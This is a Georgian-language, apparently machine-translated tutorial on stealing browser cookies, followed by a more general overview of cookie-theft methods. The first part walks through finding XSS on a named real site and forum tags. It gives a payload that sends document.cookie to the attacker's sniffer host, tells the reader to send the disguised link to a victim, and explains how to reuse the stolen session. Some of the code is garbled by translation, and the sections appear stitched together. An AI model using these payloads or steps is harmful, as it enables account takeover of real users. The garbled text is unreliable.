ქუქიები არის ვებ სერვერის მიერ შექმნილი მონაცემთა მცირე ნაწილი და ინახება მომხმარებლის კომპიუტერში ფაილის სახით. როგორც წესი, ქუქიები გამოიყენება ანგარიშების შესანახად და, ყველაზე ხშირად, ისინი შეიცავს დაშიფრულ პაროლს, შესვლას და სესიის ID-ს (თუმცა არა ყოველთვის)
XSS მოდის ორ ტიპად, აქტიური და პასიური.
პასიური XSS მოითხოვს უშუალო ინტერაქციას მსხვერპლისგან, როგორიცაა ჯავასკრიპტის კოდის შემცველ ბმულზე დაწკაპუნება. ამ ტიპის XSS-ის გამოყენებისას, თქვენ არ შეგიძლიათ SI (სოციალური ინჟინერიის) გარეშე.
აქტიური XSS არ საჭიროებს რაიმე მონაწილეობას მსხვერპლისგან. აქტიური XSS შეიძლება იყოს, მაგალითად, შეტყობინებებში ფორუმებზე, ჩეთებში, სიახლეების დამატებაში და ა.შ.
2.მოძებნეთ XSS
ამ პარაგრაფში მე გეტყვით, თუ როგორ უნდა იპოვოთ xss
2.1.პასიური XSS
პასიური XSS-ის საპოვნელად, უბრალოდ ჩაანაცვლეთ alert('xss') შეყვანის ფორმაში, თუ სკრიპტი მუშაობდა და გამოჩნდება შეტყობინება "xss", მაშინ დაუცველობა არსებობს, თუ სკრიპტი არ მუშაობდა, ასევე შეგიძლიათ სცადოთ ">alert. (), ეს არის ალბათ ყველაზე გავრცელებული xss დაუცველობა, თუ არც ერთი და არც მეორე სკრიპტი არ მუშაობდა, მაშინ, სავარაუდოდ, არ არის დაუცველობა.
მოდით შევხედოთ მაგალითს.
http://miss.rambler.ru/srch/?sort=0& … amp;words=
ხედავთ "ძებნის" ფორმას? ჩადეთ ">alert()" და დააწკაპუნეთ "ძებნა"
ჩნდება ფანჯარა xss-ით, რაც ნიშნავს, რომ xss არის (ალბათ ამ სტატიის წაკითხვისას ეს xss უკვე წაშლილია).
2.2.აქტიური XSS
ასეთი css შეიძლება იყოს, მაგალითად, პროფილის ველებში, ახალი ამბების სათაურში და თავად ახალ ამბებში (ნაკლებად ხშირად), შეტყობინებებში ფორუმებზე/ჩეთის ოთახებში/სტუმრებში ჩართული html-ით. აქ ყველაფერი მარტივია, წინა ქვეპუნქტის სკრიპტს ვდებთ ველებში და თუ შეტყობინება ეკრანზე გამოჩნდება, მაშინ დაუცველობა არსებობს.
მოდით შევხედოთ xss-ს BB ტეგებში ფორუმებზე.
შეგიძლიათ სცადოთ უბრალოდ ჩასვათ javascript კოდი ტეგში, მაგალითად ასე:
javascript:alert('xss')
ზოგიერთ ტეგს აქვს პარამეტრები, მაგალითად ტეგს აქვს dynsrc და lowsrc პარამეტრები, შევეცადოთ ჩავანაცვლოთ კოდი ასე:
http://www.site.ru/image.jpg dynsrc=javascript:alert('xss')
თუ სკრიპტი მუშაობდა, xss არის იქ
3. XSS-ის გამოყენება ქუქიების მოსაპარად
ახლა ყველაზე გემრიელი))))
იმისათვის, რომ მოვიპაროთ ქუქიები, გვჭირდება ვებ-სნაიფერი, შეგიძლიათ დააინსტალიროთ რაიმე სახის სნაიფერი თქვენს ჰოსტინგზე, ან შეგიძლიათ გამოიყენოთ ონლაინ სნაიფერი, რომელიც ახლა უამრავია.
პასიური XSS-ის საშუალებით ქუქიების მოსაპარად, მსხვერპლმა უნდა მიჰყვეს შხამიან ბმულს. ქუქიების მოსაპარად, ჩვენ გამოვიყენებთ სხვა სკრიპტს alert-ის ნაცვლად ('xss'):
img = ახალი სურათი ();
ჩვენ ვცვლით სკრიპტს ლინკში და ვაძლევთ მსხვერპლს ნებას მიჰყვეს მას, შეხედეთ სნიფერის ჟურნალს და გაიხარეთ.
მოდით შევხედოთ მაგალითს.
ავიღოთ ის XSS Rambler-ზე წინა აბზაციდან.
ჩვენ ჩავსვით
">
img = ახალი სურათი ();
img.src = "sniffer სურათის მისამართი"+document.cookie;
საძიებო ფორმაში დააწკაპუნეთ „ძებნა“, გადახედეთ მისამართების ზოლს და ნახეთ:
http://miss.rambler.ru/srch/?sort=0& … &words =">
ჩვენ ვუგზავნით ამ ბმულს მსხვერპლს და ვსარგებლობთ ქუქიებით.
ასეთი ბმულის დანახვისას მსხვერპლმა შეიძლება რაღაც იეჭვოს, ამიტომ მიზანშეწონილია დაშიფვრა
">img = new Image();img.src = "sniffer image address"+document.cookie;
URL-ში ან გამოიყენეთ სერვისები, როგორიცაა http://tinyurl.com/
გადავიდეთ აქტიურ XSS-ზე, აქ ყველაფერი მარტივია, alert()-ის ნაცვლად ჩავსვით img = new Image();img.src = "sniffer image-ის მისამართი"+document.cookie;
ახლა ჩვენ გვაქვს ქუქიები. მაგრამ რა უნდა გააკეთოს მათთან? ეს მარტივია, თქვენ უნდა შეცვალოთ ისინი საკუთარის ნაცვლად. Opera ბრაუზერს აქვს ჩაშენებული ქუქიების რედაქტორი (ინსტრუმენტები->მოწინავე->ქუქიების მართვა), არის Firefox-ის დანამატი (არ მახსოვს რა ქვია, გამოიყენე გუგლი)
ჯერჯერობით სულ ესაა, ალბათ სტატიას დაემატება
Opera გახსენით მთავარი მენიუ, გადადით "პარამეტრები" განყოფილებაში და აირჩიეთ "ზოგადი პარამეტრები ..." ხაზი. ან შეგიძლიათ უბრალოდ დააჭიროთ კლავიშებს CTRL + F12. ეს გაიხსნება ბრაუზერის პარამეტრების ფანჯარაში, სადაც "Advanced" ჩანართზე თქვენ უნდა დააჭიროთ "Cookies" განყოფილებას მარცხენა პანელში. მასში თქვენ უნდა დააწკაპუნოთ ღილაკზე „Cookies“-ის მართვა.
Mozilla FireFox-ში გახსენით მენიუში "ინსტრუმენტები" განყოფილება და აირჩიეთ "პარამეტრები". პარამეტრების ფანჯარაში, თქვენ უნდა გადახვიდეთ „კონფიდენციალურობის“ ჩანართზე, იპოვოთ ღილაკი იქ, სადაც ნათქვამია „აჩვენე Cookies...“ და დააწკაპუნეთ მასზე ბრაუზერის მიერ შენახული ქუქიების სიაში შესასვლელად. შეგიძლიათ მოძებნოთ და ნახოთ ისინი აქ.
Internet Explorer-ში, მენიუში გააფართოვეთ განყოფილება "ინსტრუმენტები" და აირჩიეთ "თვისებები". თვისებების პარამეტრების ფანჯარაში გადადით "ზოგადი" ჩანართზე და დააჭირეთ ღილაკს "პარამეტრები" განყოფილებაში "დათვალიერების ისტორია". ამ გზით, თქვენ გაიხსნება სხვა ფანჯარა ("დროებითი ფაილების პარამეტრები"), რომელშიც თქვენ უნდა დააჭიროთ ღილაკს "ფაილების ჩვენება".
დააწკაპუნეთ სათაურზე "Name" Internet Explorer-ის დროებითი ფაილების შენახვის საქაღალდის შიგთავსის სიაში, რომელიც იხსნება - ამ გზით თქვენ შეგიძლიათ დააჯგუფოთ ყველა ქუქი ფაილი ერთ ბლოკად ჰეტეროგენული ფაილების საერთო გროვაში. აქ შეგიძლიათ იპოვოთ თქვენთვის საინტერესო ფაილი და გახსნათ იგი სტანდარტული Notepad-ში სანახავად ან რედაქტირებისთვის.
Google Chrome-ში დააწკაპუნეთ ფანჯრის ზედა მარჯვენა კუთხეში არსებული გასაღების ხატულაზე და მენიუდან აირჩიეთ ოფციები. ბრაუზერი გახსნის "პარამეტრების" გვერდს და თქვენ დააჭირეთ ბმულს "Advanced" მის მარცხენა პანელში და გაფართოებული პარამეტრების გვერდზე დააჭირეთ ღილაკს "Content Settings". ეს არ არის ბოლო გვერდი ამ ბრაუზერის მიერ შენახული ქუქიებისკენ მიმავალ გზაზე.
დააწკაპუნეთ ღილაკზე „ყველა ქუქი ფაილი და საიტის მონაცემები“ მომდევნო გვერდზე და საბოლოოდ გექნებათ წვდომა ქუქიების სიაზე.
Google Chrome უზრუნველყოფს ქუქიების ძებნის, ნახვის და წაშლის შესაძლებლობას.
Safari ბრაუზერში დააწკაპუნეთ გადაცემათა კოლოფის ხატულაზე ზედა მარჯვენა კუთხეში და აირჩიეთ "პარამეტრები...". პარამეტრების შეცვლის ფანჯარაში, თქვენ უნდა გადახვიდეთ "უსაფრთხოების" ჩანართზე, რათა დააწკაპუნოთ "ქუქის ჩვენება" ღილაკზე. Safari უზრუნველყოფს მხოლოდ ქუქი-ფაილების ძიების და წაშლის ფუნქციებს ამ დროებითი ფაილების შიგთავსის ნახვა მხოლოდ ნაწილობრივ.
ნამცხვრები- ინფორმაცია ვებგვერდის მიერ მომხმარებლის კომპიუტერში შენახული ტექსტური ფაილის სახით. შეიცავს ავტორიზაციის მონაცემებს (შესვლა/პაროლი, ID, ტელეფონის ნომერი, საფოსტო ყუთის მისამართი), მომხმარებლის პარამეტრები, წვდომის სტატუსი. ინახება ბრაუზერის პროფილში.
ქუქიების გატეხვაარის ვებ რესურსის ვიზიტორთა სესიის ქურდობა (ან „გატაცება“). პირადი ინფორმაცია ხელმისაწვდომი ხდება არა მხოლოდ გამგზავნისთვის და მიმღებისთვის, არამედ მესამე მხარისთვისაც - ვინც ახორციელებდა თვალყურს.
ქუქიების ჰაკერის ინსტრუმენტები და ტექნიკაკომპიუტერულ ქურდებს, ისევე როგორც მათ რეალურ ცხოვრებაში კოლეგებს, გარდა უნარების, ოსტატობისა და ცოდნის გარდა, რა თქმა უნდა, აქვთ საკუთარი ხელსაწყოები - სამაგისტრო გასაღებების და ზონდების ერთგვარი არსენალი. მოდით გადავხედოთ ყველაზე პოპულარულ ხრიკებს, რომლებსაც ჰაკერები იყენებენ ინტერნეტის მომხმარებლებისგან ქუქიების ამოსაღებად.
სნიფერებისპეციალური პროგრამები ქსელის ტრაფიკის მონიტორინგისა და ანალიზისთვის. მათი სახელი მომდინარეობს ინგლისური ზმნიდან "sniff" (sniff), რადგან. კვანძებს შორის გადაცემული პაკეტების სიტყვასიტყვით „ამოისუნთქე“.
მაგრამ თავდამსხმელები იყენებენ სნაიფერს სესიის მონაცემების, შეტყობინებების და სხვა კონფიდენციალური ინფორმაციის დასაჭერად. მათი თავდასხმების სამიზნეები ძირითადად დაუცველი ქსელებია, სადაც ქუქი-ფაილები იგზავნება ღია HTTP სესიაზე, ანუ ისინი პრაქტიკულად არ არის დაშიფრული. (საჯარო Wi-Fi ამ მხრივ ყველაზე დაუცველია.)
მომხმარებლის კვანძსა და ვებ სერვერს შორის ინტერნეტ არხში სნაიფერის ჩასართავად გამოიყენება შემდეგი მეთოდები:
- ქსელური ინტერფეისების „მოსმენა“ (ჰაბები, სვიჩები);
- ტრაფიკის განშტოება და კოპირება;
- ქსელის არხის უფსკრულის დაკავშირება;
- ანალიზი სპეციალური თავდასხმების საშუალებით, რომლებიც გადამისამართებენ მსხვერპლის ტრაფიკს სნიფერზე (MAC-გაყალბება, IP-გაყალბება).
აბრევიატურა XSS ნიშნავს Cross Site Scripting-ს. გამოიყენება ვებგვერდებზე თავდასხმისთვის მომხმარებლის მონაცემების მოსაპარად.
XSS-ის პრინციპი შემდეგია:
- თავდამსხმელი ათავსებს მავნე კოდს (სპეციალური შენიღბული სკრიპტი) ვებსაიტის ვებგვერდზე, ფორუმში ან შეტყობინებაში (მაგალითად, სოციალურ ქსელში შესაბამისობისას);
- მსხვერპლი გადადის ინფიცირებულ გვერდზე და ააქტიურებს დაინსტალირებულ კოდს თავის კომპიუტერზე (აწკაპუნებს, მიჰყვება ბმულს და ა.შ.);
- თავის მხრივ, შესრულებული მავნე კოდი „ამოიღებს“ მომხმარებლის კონფიდენციალურ მონაცემებს ბრაუზერიდან (კერძოდ, ქუქი-ფაილებს) და აგზავნის მას თავდამსხმელის ვებ სერვერზე.
პროგრამული XSS მექანიზმის „დანერგვის“ მიზნით, ჰაკერები იყენებენ ყველა სახის დაუცველობას ვებ სერვერებში, ონლაინ სერვისებსა და ბრაუზერებში.
ყველა XSS დაუცველობა იყოფა ორ ტიპად:
- Პასიური.შეტევა მიიღება ვებ გვერდზე კონკრეტული სკრიპტის მოთხოვნით. მავნე კოდის ინექცია შესაძლებელია სხვადასხვა ფორმით ვებ გვერდზე (მაგალითად, საიტის საძიებო ზოლში). პასიური XSS-ის მიმართ ყველაზე მგრძნობიარეა რესურსები, რომლებიც არ ფილტრავენ HTML ტეგებს, როდესაც მონაცემები მოდის;
- აქტიური.მდებარეობს პირდაპირ სერვერზე. და ისინი გააქტიურებულია მსხვერპლის ბრაუზერში. მათ აქტიურად იყენებენ თაღლითები ყველა სახის ბლოგში, ჩატში და ახალი ამბების არხებში.
ჰაკერები გულდასმით „იფარებენ“ თავიანთ XSS სკრიპტებს, რათა მსხვერპლს ეჭვი არ შეეპაროს. ისინი ცვლიან ფაილის გაფართოებას, გადასცემენ კოდს სურათად, აძლევენ მოტივაციას, მიჰყვნენ ბმულს და იზიდავენ მათ საინტერესო შინაარსით. შედეგად: კომპიუტერის მომხმარებელი, რომელიც ვერ აკონტროლებს საკუთარ ცნობისმოყვარეობას, საკუთარი ხელით (მაუსის დაჭერით) უგზავნის სესიის ქუქი-ფაილებს (ლოგინით და პაროლით!) XSS სკრიპტის ავტორს - კომპიუტერის ბოროტმოქმედს.
ქუქიების ჩანაცვლებაყველა ქუქი-ფაილი ინახება და იგზავნება ვებ სერვერზე (საიდანაც ისინი „მოვიდნენ“) ყოველგვარი ცვლილების გარეშე - თავდაპირველი სახით - იგივე მნიშვნელობებით, სტრიქონებით და სხვა მონაცემებით. მათი პარამეტრების მიზანმიმართულ ცვლილებას ქუქიების ჩანაცვლება ეწოდება. სხვა სიტყვებით რომ ვთქვათ, ქუქი-ფაილების შეცვლისას თავდამსხმელი თავს იჩენს, როგორც სურნელოვანს. მაგალითად, ონლაინ მაღაზიაში გადახდისას, ქუქი-ფაილი ცვლის გადახდის თანხას ქვევით - ამრიგად, ხდება შესყიდვების „დაზოგვა“.
მოპარული სესიის ქუქიები სოციალურ ქსელში სხვისი ანგარიშიდან „ჩასმულია“ სხვა სესიაში და სხვა კომპიუტერში. მოპარული ქუქიების მფლობელი იღებს სრულ წვდომას მსხვერპლის ანგარიშზე (კორესპონდენცია, შინაარსი, გვერდის პარამეტრები), სანამ ის იმყოფება მის გვერდზე.
ქუქიების „რედაქტირება“ ხორციელდება:
- Opera ბრაუზერში ფუნქციონირებს „ქუქიების მართვა...“;
- ქუქიების მენეჯერი და გაფართოებული ქუქი მენეჯერის დანამატები FireFox-ისთვის;
- IECookiesView უტილიტები (მხოლოდ Internet Explorer);
- ტექსტური რედაქტორი, როგორიცაა AkelPad, NotePad ან Windows Notepad.
განხორციელების ძალიან მარტივი სქემა, რომელიც შედგება რამდენიმე ეტაპისგან. მაგრამ ეს ეფექტურია მხოლოდ იმ შემთხვევაში, თუ დაზარალებულის კომპიუტერი ღია სესიით, მაგალითად VKontakte, რჩება უყურადღებოდ (და დიდი ხნის განმავლობაში!):
როგორც წესი, ჰაკერები იყენებენ ზემოხსენებულ ინსტრუმენტებს (+ სხვებს) როგორც კომბინაციაში (რადგან ბევრ ვებ რესურსზე დაცვის დონე საკმაოდ მაღალია), ასევე ცალ-ცალკე (როდესაც მომხმარებლები ზედმეტად გულუბრყვილოები არიან).
XSS + სნიფერიდა რაც მთავარია, არ დაკარგოთ სიფხიზლე და ყურადღება დასვენების ან ინტერნეტში მუშაობისას!